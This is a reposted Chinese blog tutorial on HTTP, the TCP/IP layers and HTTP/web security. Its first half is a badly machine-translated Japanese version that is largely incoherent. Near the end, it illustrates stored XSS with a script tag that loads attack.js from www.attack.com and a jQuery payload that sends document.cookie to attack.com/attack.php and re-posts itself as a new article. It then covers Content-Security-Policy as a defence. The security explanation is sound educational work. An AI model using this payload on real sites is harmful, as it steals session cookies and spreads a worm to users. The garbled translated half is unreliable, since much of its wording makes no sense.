HTTPとは何ですか?なぜそれが危険なのですか?

私たちは通常、URLを入力するとwww.baidu.com原則からの:、ブラウザが自動的に私たちは小さな本を説明するための国のためにHTTPまたはHTTPS、HTTPSなどのプレフィックスを追加するのに役立ちます、私は「素人のhttpsの最近読ん無料本当の「本は、次の数回は、本や理解に関するいくつかの注意事項を表現することになります。

 

あなたは本質を把握するために、HTTP、HTTPSセキュリティの制限を、HTTP、HTTPSを理解する前に理解知っている必要があります。

 

  1. 基本コンセプト

 

TCP / IPネットワークプロトコルが成熟した後、限りデバイスの支持体として任意のTCP / IPインターネットは私たちがブラウザがこの協定をインストールインストールし、世界での端末になることができます。

 

TCP / IPは徐々に、データ送信は非常に簡単に、任意の端末、それは限り、TCP / IPのためのサポートとして、データがもう一方の端に、世界のいずれかの端から転送することができ、パーソナルコンピュータやモバイルデバイス、であるかどうかの人気になると、距離はもはや問題ではありません。

 

しかし、インターネット上で伝送されるデータのバイトストリームは、人々は両側が正しくデータ内容を解釈することができるように、ので、2つの当事者は、これらのデータを解釈するのと同じ方法で通信することを、我々は標準を定義する必要があり、データを変換するためには、理解できないことができましたHTTPは、プロトタイプのアプリケーション層です。

 

HTTPは現在、コンテンツとの契約で、どのようにコンテンツシリーズなどのデータ、テキスト、写真、ビデオ、ますます多くの種類を転送することができます。

 

HTTPは、ハイパーテキストの関係を意味し、あなたが私たちの共通のURL、URLに代表されるインターネットリソースのアドレスで別の場所に1位からジャンプすることができるということであるハイパーテキスト転送プロトコルを意味します。

 

3つの技術、すなわちHTML、URL、HTTPを含め、1980年に前方教授ティム・バーナーズ=リーを入れて、最終的な、Web技術を生成するWeb技術がアイデアです。今日でも、ウェブモデルはあまり変わっていません

 

コンセプトHTTP:ハイパーテキスト転送プロトコルは、ハイパーテキストはHTML、HTTP送信は、データ送信で表され、クライアントとサーバと解析を担当しています。クライアントは、クライアントに、要求に、サーバに再送データをサーバー応答をHTTPリクエストを送信します。HTTPは、一連のルール、クライアントとサーバは、これらのルールの適切な取り扱いを必要とする、HTTPコンテンツ情報をHTMLページで構成され、情報のキャリアとみなすことができるから構成されています。

 

URLの概念:HTMLページ、動画、画像などのリソースの数で構成Webは、インターネット上の各リソースは、番号を持って、この数は、URLアドレスです。サーバーのURLを定義するための責任、世界内のリソースの数の任意のクライアントは、インターネット上のURLアドレスを介して、このリソースを見つけ、ユニークで、URLの正式名称は統一資源識別子(ユニフォームResourceLocator)と呼ばれています。

 

次のようにURLのルールが定義されています。

 

http://www/example.com:80 / index.htmlを

 

HTTPリソースは、HTTPプロトコルを介して取得できるようにする必要があり表し、言い換えれば、クライアントはHTTPプロトコルでリソースを要求する必要があります。

 

www.example.comサーバのアドレスを示し、各サーバは、IPアドレスを持っていますが、インターネット上のIPアドレスを覚えて、ユーザは、ユーザが通常だけのような(サーバホストを覚えていることは困難であるwww.baidu.com IPのそれは180.101.49.11ですが、私たちは、BaiduはIPを入力しません入力されたとき、ちょうどURL)の名前を入力します。

 

HTTPでは、クライアントは、HTTPリクエストを送信し、クライアントがサーバーを見つけることができるように、IPアドレスにDNSプロトコル・サーバーのホスト名で変換する必要があります。80はポートを介してHTTPサービスサーバ80を示し、HTTPプロトコルのデフォルトのポート(入力を省略することができる)です。/index.htmlが、サーバが/ rootディレクトリ内のリソースのindex.htmlを持っていることを示しています。これは、すべてのURLでインターネットアドレス資源の定義であり、URLとHTTPが密接に関連しているが、しかし、ウェブは互いに独立です。

 

HTMLの概念:初期のインターネット伝送は、読みやすい文章で、後に赤いマークなど太字、ラインなどのスタイルの数を、参加しました、というように、特別な治療のためのテキストに、だけでなく、写真やビデオのリソースへのURL参照通じ。CSSやJS言語へと発展したルールのテキストにこれらの特殊な治療、彼らはすべてのHTMLの一部です。

 

ウェブ、我々はビューにF12キーを通じて、アイデアを持っているブラウザにURLを入力して、Webサイトに対応するページへの復帰、そして少しのポイントや私たちが必要なものを見つけるために検索し、これらのリターンのコンテンツがあり、実際には、1つのHTMLですまた、WWW(ワールドワイドウェブ)として知られているウェブページを構成し、。

 

Webアクセスでは、我々は、ブラウザから送信された要求、ブラウザがクライアントで、サーバはBaiduの検索内部には、そのような私たちのトマトなどの要求を、受け入れている、ブラウザは、Baiduのサーバーにサーバーが返すコンテンツの検索を要求を送信しますHTTP要求と応答データの役割を果たし、このプロセスは、実際のデータ送信は、他のネットワーク層によって処理されます。

 

ウェブは、実際に私たちはしばしば、インターネットという、インターネットでも電子メールアプリケーション、FTPを含み、そして今、私たちは基本的にウェブがインターネットであると信じていると言う部分です。

 

Webコンテンツは、交換データへのHTTP異なる端末に、HTTP、HTTPサーバおよびクライアントの組成物のコアです。

 

  1. 理解HTTPを

 

リクエストGoogleのブラウザに、例えば、それは、より単純な要求よりは、要求されたURLがあるhttp://www.example.com/index.html、要求がある方法で取得する一般的なリソースの言葉にいくつかの変更を行うに場合、要求をポスト要求、ステータスコードは、要求のステータスを表し、200はOKであり、正常および異常への復帰のための要求を示し400 404 等が挙げられます。

 

リモートアドレスは、リクエストサーバことを示していたIP アドレスとポートは、ドメイン名の要求が最終的に解決されたリクエストから見ることができたIP アドレス。

 

上記リクエストヘッダに含まれるパラメータの一部です。

受け入れエンコード:gzipのを

圧縮されたコンテンツの送信が小さくなります後に発現ブラウザがサポートGZIPデータ圧縮アルゴリズムは、より高速な伝送パラメータの目的は、あなたが送信する前にgzip圧縮アルゴリズム応答を使用できるかどうか、広告を出してサーバーをgzipに等しいです。サーバーを解析するのAccept-Encodingヘッダが要求を受信すると、クライアントは、GZIP圧縮アルゴリズムHTTPレスポンスを理解するために使用したいです。サーバーがサポートする圧縮アルゴリズムをgzipした場合、HTMLレスポンス圧縮すべての上に、その後、(頭が圧縮されていない)クライアントに送信され、応答はgzip圧縮の結果であることをクライアントのノウハウをさせるために、あなたは出力のContent-エンコードする必要があります:gzipのヘッダを、サーバは、クライアントのHTMLレスポンスに送信することができるよう、GZIPアルゴリズムをサポートし、出力されませんのContent-Encodingヘッダをしていない場合。

 

接続:キープアライブ

ページが開かれると、クライアントとサーバーに等しいが、確立したTCPの接続を、接続パラメータは、キープアライブ次のクライアントのアクセスをいつでもケースを閉じるにあれば、再び構築することなく、この接続を使用し続けることを示しているように設定することができ閉じる使用し、この接続は常に接続されていないが、一定の時間がある、あなたは、サーバー上で設定することができます。

 

ホストwww.example.com

それは必要とDNSを解析パーサーに。、聞かせているバインドにサーバーとドメイン名、ドメイン名とサーバーのニーズ、ご購入のアリクラウドDNSは、サーバーのにドメイン名を解決することができIP

 

ユーザーエージェント: Mozillaの/ 5.0

クライアントのブラウザのバージョン。

 

 

上記ヘッドの返り、次のように返されたHTML コンテンツ:

<!doctype html>

<html>

<head>

    <title>Example Domain</title>



    <meta charset="utf-8" />

    <meta http-equiv="Content-type" content="text/html; charset=utf-8" />

    <meta name="viewport" content="width=device-width, initial-scale=1" />

    <style type="text/css">

    body {

        background-color: #f0f0f2;

        margin: 0;

        padding: 0;

        font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif;

       

    }

    div {

        width: 600px;

        margin: 5em auto;

        padding: 2em;

        background-color: #fdfdff;

        border-radius: 0.5em;

        box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);

    }

    a:link, a:visited {

        color: #38488f;

        text-decoration: none;

    }

    @media (max-width: 700px) {

        div {

            margin: 0 auto;

            width: auto;

        }

    }

    </style>   

</head>



<body>

<div>

    <h1>Example Domain</h1>

    <p>This domain is for use in illustrative examples in documents. You may use this

    domain in literature without prior coordination or asking for permission.</p>

    <p><a href="https://www.iana.org/domains/example">More information...</a></p>

</div>

</body>

</html>

这个HTML在浏览器上显示出来就是:

 

 

HTTP有以下几个特点:

  1. 客户端/服务器模型

HTTP是一个客户端/服务器模型, 它本身是不能传输的,需要通过网络层中的其他协议进行通信,一般构建在TCP之上。TCP能够提供一个可靠的、面向连接的传输服务,换句话说,客户端和服务器是否正确传输依赖于TCP这个协议。

2HTTP是无状态的

HTTP是基于TCP的,早期的请求完成之后TCP连接会关闭,完全和上一次的请求没有关系。

在互联网早期,可以说这种设计很好,但是现在的Web应用越来越丰富,无状态的设计已经不能适应新的情况,为了保持状态,出现了CookieSession技术,但是Cookie技术设计得非常不严谨,引发了很多安全问题。。

3HTTP是跨平台的

通过上面的讲解,读者知道HTTP就是具备一定规则的纯文本信息,任何开发语言都可以实现HTTP或者基于HTTP进行开发,开发出来的软件也很容易移植,受系统环境的影响非常少。

4HTTP用途很广泛

Web主要使用HTTP进行传输数据,HTTP更多的是一个数据载体,对于Web应用来说更重要的是浏览器如何处理这些数据,这些本身和HTTP关系并不大。考虑到HTTP如此简单,基于HTTP的应用非常多,比如,不管是iOS还是Andriod应用,都需要调用基于HTTPAPI接口。

TCP/IP概述

TCP/IP是标准的互联网网络协议,没有该协议就没有互联网,互联网上的终端必须配置TCP/IP才能进行通信。

 

任何协议都是一种标准,标准的含义就是通信双方需要遵循相同的规则,才能互相协作。想象两个人互相打电话,拨打电话的人首先要知道对方的手机号(IP地址),然后拨打电话确保连接上对方(TCP),通过IP选择一条最优的传输路径,最终应用层数据(人的语言)通过终端(网卡)、网络设备(电话线)传输给对方。

它的层级大概如下:

 

 

  1. 应用层

如果没有应用层,那么网络中传输的数据没有任何意义,因为人类无法理解数据的含义。而有了应用层,软件就能解释应用层数据的含义。在Web应用中,有了HTTPHTML标准,浏览器才能呈现对用户有意义的内容。应用层协议有很多,比如HTTPFTP、邮件协议,开发者开发的软件一般都是应用层协议软件。

  1. 传输层

客户端传输层接收到应用层消息后,负责连接服务器,但服务器有很多服务,服务器如何知晓客户端需要连接的服务呢?传输层中通过端口来区分服务,通过IP地址和端口号才能构建一条传输通道,对于HTTP来说,服务器端口号默认是80,而客户端的端口是随机产生的。传输层主要有TCPUDP, TCP能够保证数据正确地到达,一旦出现错误,会有一系列处理机制,比如重发和校验机制,保证数据正确地传输到对端。HTTP构建在TCP之上,在连接阶段,TCP使用三次握手机制确保可靠传输。

 

1.初始化连接,客户端发送SYN消息(随机值x)请求一个新连接。

2.服务器接收SYN消息,发送SYN ACK响应消息。

3.客户端发送ACK消息确认本次连接成功。

UDP不能保证数据正确传达,比如客户端收到数据后,不会向服务器确认本次接收到的数据有多少,所以服务器也无法确认客户端是否正确收到了数据,UDP的优点就是性能高,减少了很多开销。

  1. 网络层

网络层主要是IP这个协议,客户端和服务器传输的时候,会经过很多节点,IP就是选择一条最优的路径。每个终端上都有一张路由表,路由表负责将数据传输到下一个节点,下一个节点再传输到下下个节点,最终到达目的地址。

  1. 链路层

应用层、传输层、网络层都是虚拟的,只有链路层才是实体设备,包括光纤、网卡等设备。基于这些设备,数据最终才能到达终端。

 

接下来简单描述封包/拆包机制,对于客户端请求来说,传输层接收到应用层消息后,在HTTP数据包前面增加TCP包头,然后发送给网络层;网络层在TCP数据包前面加上IP包头发送给链路层;链路层在IP数据包前面加上以太网包头;最终服务器接收到完整的数据包。

 

然后服务器进行拆包:首先在网络层去除链路层包头;在传输层去除IP包头;在应用层去除TCP包头;最终得到完整的HTTP应用层数据。

 

协议安全分析

 

知道了基本的概念,下面分析互联网安全,包括两部分:

HTTP本身的安全和Web应用的安全。

 

HTTP安全:

  1. 无线WIFI攻击:现在走到哪里先问WiFi密码,但是一些攻击者会提供免费的WiFi,当你使用HTTP协议的情况下,连接这些WiFi的时候,你将没有任何的隐私。

提供WiFi的人可以截获所有的HTTP流量,而HTTP流量本身都是明文的,这就导致任何的个人信息、密码等全部被截获,而使用这些WiFi的人并没有感知,这叫被动攻击。

  1. 垃圾广告攻击:很多用户浏览某个网页的时候,经常发现页面上弹出一个广告,而这个广告和访问的网页根本毫无关系,这种攻击很常见,主要是ISP(互联网服务提供商)发动的一个攻击,用户根本没有任何办法防护。用户访问网站的时候肯定经过ISP, ISP为了一些目的,比如获取广告费用,在响应中插入一段HTML代码,就导致了该攻击的产生。这种攻击称为主动攻击,也就是攻击者知晓攻击的存在。

这种攻击用户还能忍受,更严重的是ISP或者攻击者在页面中插入一些恶意JavaScript脚本,脚本一旦在客户端运行可能会产生更恶劣的后果,比如XSS攻击(跨站脚本攻击)。

协议不安全的根本原因:

  1. 数据没有加密:

 HTTP本身传递的是明文,不会加密这些信息,只要攻击者能够获取这些明文,用户的隐私就完全暴露了。HTTP是基于TCP/IP的,TCP/IP的特点也决定了HTTP数据很容易被截获,网络传输过程中,路由策略决定HTTP数据会通过很多节点设备,节点很轻松就能截获明文数据,由于数据没有加密,很容易理解其含义。

2.无法验证身份

HTTP应用中,客户端和服务器并不能确认对方的身份,在HTTP标准中,没有校验对端身份的标准。对于服务器来说,它接收的HTTP请求格式只要正确,就发送响应信息。对于客户端来说同样如此,它连接的是www.example.com主机,但由于有中间节点的存在,最终连接的可能是www.example.cn主机,但对于客户端来说,它无法校验服务器的身份。

3.数据易篡改

HTTP数据在传输过程中,会经过很多节点,这些节点都可以修改原始数据,而对于客户端和服务器来说,没有任何技术来确保接收的数据就是发送者发送的原始数据。

由于没有机制确保数据的完整性,客户端和服务器只能无条件信任接收到的数据,这也产生了很多安全问题,篡改数据也叫作中间人攻击。比如ISP插入广告的例子,如果有一种机制能够让浏览器知晓数据已经被篡改,那么浏览器就可以告知用户危险,并中断本次请求。

 

Web应用安全

HTTP只负责数据传输,真正的攻击对象是浏览器(用户)和服务器(数据)。

 

互联网早期服务器负责输出数据,客户端基于HTML负责渲染,标签和元素非常少,这种群情况下攻击只要构建一条不规范的HTTP请求就行了,也有利用程序的漏洞来进行SQL注入破坏服务器数据。

 

互联网中期HTML扩展了很多标签,脚本语言JS等广泛使用,在客户端完成的逻辑越来越多,可供攻击的模式也越来越多,执行恶意脚本等成为常见的手法。

 

这里以常见的XSS攻击方式进行说明,XSS就是利用应用程序的漏洞,诱使用户触发恶意代码,从而自动发送恶意的HTTP请求至服务器,造成自动攻击。

 

通过一个博客系统来描述XSS攻击:

 

攻击者发现一个博客系统存在漏洞,发表文章的时候,服务器没有转义或者过滤数据

 

攻击者用账号登录博客系统,打开文章编辑器,输入正常的内容,但是在文章末尾加入一段恶意代码(<script type='text/javascript'src='http://www.attack.com/attack.js'></script>)。

由于服务器没有任何的校验机制,所以正常生成了一篇文章,比如http://www.example.com/article.html

 

攻击者将这篇文章的地址发送到各大论坛,或者将文章地址用邮件发送给其他人。

 

不明真相的人一旦打开这篇文章,浏览器就会下载并置执行attack.js文件,由于该文件包含了恶意代码,就可以进行攻击

<script type=" text/ javascript" >

         $ (function() {

                  var cookie = encodeURIComponent (document. cookie)

                  $(’<img src="http://www. attack. com/attack. php? cookie=' + cookie+’">').appendTo($ (document. body))

                  var content = "<scr"+" ipt type='text/javascript' src=' http://wwww.attack.com/attack. js’></scr"+" ipt>"

                  $.post("http://www.example.com/sendArticle.php",{content :content},function(result) {});

         })

</script>

 

这段代码中会产生两个攻击:将用户www.example.com主机下的所有Cookie信息发送给攻击者。自动以正常用户的身份生成一篇文章,而这篇文章包含同样的攻击代码。

目前的互联网

 

目前互联网更关注移动互联网,尤其是手机设备,为了更好地支持移动设备并提升性能,提出了HTML5标准,HTML5标准是下一代HTML标准。HTML5支持了更多的功能,比如说地理位置、照相机,而这些功能是手机设备本身具备的。对于开发者来说,由于拥有了更多的设备控制能力,会进一步导致安全问题,比如在HTML旧标准中,客户端JavaScript最多获取设备上的Cookie,不能获取设备的其他信息,而在HTML5中,客户端还能获取手机照片库信息,一旦应用实现出现问题,会暴露设备上更多的隐私信息,所以浏览器在实现HTML5标准的时候,会有很多的安全策略,这些标准是由W3C指定的。

 

W3C

 

Tim Berners-Lee教授提出Web技术后成立了W3C组织,W3C主要制定Web技术的标准,比如HTML标准、DOM标准、CSS标准、ECMAScript标准,而实现这些标准主要由浏览器厂商或者服务器厂商完成。如果没有严格遵守标准,会产生很多兼容和安全问题。

 

在互联网早期,W3C没有过多考虑安全问题,而目前W3C有了更多的安全标准,尤其在制定HTML5标准的时候,充分考虑了安全问题。

 

W3C主要以HTTP头部的方式提供安全保护,比如Access-Control-Allow-OriginX-XSS-ProtectionStrict-Transport-SecurityContent-Security-Policy HTTP头部,一旦开发者和浏览器正确地遵守安全标准,就能缓解安全问题。

 

比如前面的XSS攻击,主要原因就在于浏览器执行了一个外部JavaScript脚本,如果浏览器按照策略不加载外部脚本,攻击就无从谈起了。比如服务器输出下面的Content-Security-Policy头信息,等于告诉浏览器只允许加载www.example.com本域下的脚本文件,就能避免XSS攻击。

 

Content-Security-Policy: default-src:’self’; script-src: http://www.example.com;

 

发布了48 篇原创文章 · 获赞 103 · 访问量 57万+

おすすめ

転載: blog.csdn.net/qq_36421826/article/details/104064870